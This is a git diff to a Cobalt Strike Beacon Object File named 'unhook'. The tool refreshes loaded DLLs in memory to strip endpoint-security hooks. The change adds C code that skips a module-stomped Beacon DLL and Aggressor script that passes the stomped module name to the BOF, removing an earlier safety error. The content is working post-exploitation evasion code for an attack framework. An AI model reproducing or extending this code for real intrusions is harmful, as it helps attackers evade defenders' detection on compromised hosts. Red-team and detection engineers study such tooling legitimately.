diff --git a/README b/README index 4479270..5b31650 100644 --- a/README +++ b/README @@ -8,10 +8,6 @@ Load unhook.cna into Cobalt Strike via Cobalt Strike -> Script Manager Run 'unhook' from Beacon -Known issues: - -Unhook refreshes "everything". If you're module stomping--this would include that module. The unhook alias does detect if module stomping is enabled and report an error. Future improvements could limit which DLLs are refreshed to a list of high-interest DLLs or explicitly exclude our stomped module. - To build: x86: Open Visual Studio x86 Native Tools Command Prompt and type 'make' diff --git a/src/refresh.c b/src/refresh.c index 3929080..32717db 100755 --- a/src/refresh.c +++ b/src/refresh.c @@ -4,7 +4,32 @@ #include "unhook.h" #include "beacon.h" -void RefreshPE(void * buffer) +BOOL IsBeaconDLL(char* stomp, size_t beaconDllLength, PWSTR wszBaseDllName, USHORT BaseDllLength) +{ + BOOL isBeacon = FALSE; + if (beaconDllLength * 2 == BaseDllLength) + { + isBeacon = TRUE; + for (int i = 0; i < beaconDllLength; i++) + { + // make them lower case + char c1 = stomp[i]; + char c2 = wszBaseDllName[i]; + if (c1 >= 'A' && c1 <= 'Z') + c1 += 32; + if (c2 >= 'A' && c2 <= 'Z') + c2 += 32; + if (c1 != c2) + { + isBeacon = FALSE; + break; + } + } + } + return isBeacon; +} + +void RefreshPE(void * buffer, char* stomp) { HMODULE hModule; PWSTR wszFullDllName; @@ -14,13 +39,15 @@ void RefreshPE(void * buffer) PLDR_DATA_TABLE_ENTRY pLdteHead = NULL; PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL; + size_t beaconDllLength = strlen(stomp); + dprintf("[REFRESH] Running DLLRefresher"); pLdteHead = GetInMemoryOrderModuleList(); pLdteCurrent = pLdteHead; do { - if (pLdteCurrent->FullDllName.Length > 2) + if (pLdteCurrent->FullDllName.Length > 2 && !IsBeaconDLL(stomp, beaconDllLength, pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length)) { wszFullDllName = pLdteCurrent->FullDllName.pBuffer; wszBaseDllName = pLdteCurrent->BaseDllName.pBuffer; diff --git a/src/refresh.h b/src/refresh.h index 2daa112..85669ed 100755 --- a/src/refresh.h +++ b/src/refresh.h @@ -11,7 +11,7 @@ #define OUTPUTDBGW(str) #endif -void RefreshPE(void * out); +void RefreshPE(void * out, char* stomp); HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase); HMODULE CustomGetModuleHandleW(const PWSTR wszModule); FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule); diff --git a/src/unhook.c b/src/unhook.c index 6207be8..efd93ac 100755 --- a/src/unhook.c +++ b/src/unhook.c @@ -2,14 +2,19 @@ #include "refresh.c" #include "unhook.h" -void go() { +void go(char* args, int length) { + datap parser; formatp buffer; char *out; int size; + char* stomp; + + BeaconDataParse(&parser, args, length); + stomp = BeaconDataExtract(&parser, NULL); BeaconFormatAlloc(&buffer, 64 * 1024); - RefreshPE(&buffer); + RefreshPE(&buffer, stomp); /* we're done... I guess */ BeaconFormatPrintf(&buffer, "Unhook is done.\n"); diff --git a/unhook.cna b/unhook.cna index a04e6ba..be5fedb 100755 --- a/unhook.cna +++ b/unhook.cna @@ -1,5 +1,5 @@ alias unhook { - local('$barch $handle $data $stomp'); + local('$barch $handle $data $stomp $args'); # figure out the arch of this session $barch = barch($1); @@ -7,20 +7,19 @@ alias unhook { # if we're module stomping; don't run the unhook as-is because we'll walk over # everything. We don't want that. A nice improvement would ask unhooker to skip stomped module. $stomp = [data_query("metadata")["c2profile"] getString: ".stage.module_ $+ $barch"]; - if ($stomp ne "") { - berror($1, "Can't unhook when .stage.module_ $+ $barch is set. :("); - return; - } # read in the right BOF file $handle = openf(script_resource("unhook. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle); + # pack the arguments + $args = bof_pack($1, "z", $stomp); + btask($1, "Running unhook"); # run it.. - beacon_inline_execute($1, $data, "go", $null); + beacon_inline_execute($1, $data, "go", $args); } beacon_command_register( diff --git a/unhook.x64.o b/unhook.x64.o old mode 100755 new mode 100644 index 2146a94..0b8b978 Binary files a/unhook.x64.o and b/unhook.x64.o differ diff --git a/unhook.x86.o b/unhook.x86.o old mode 100755 new mode 100644 index 7d2ce34..e39a41a Binary files a/unhook.x86.o and b/unhook.x86.o differ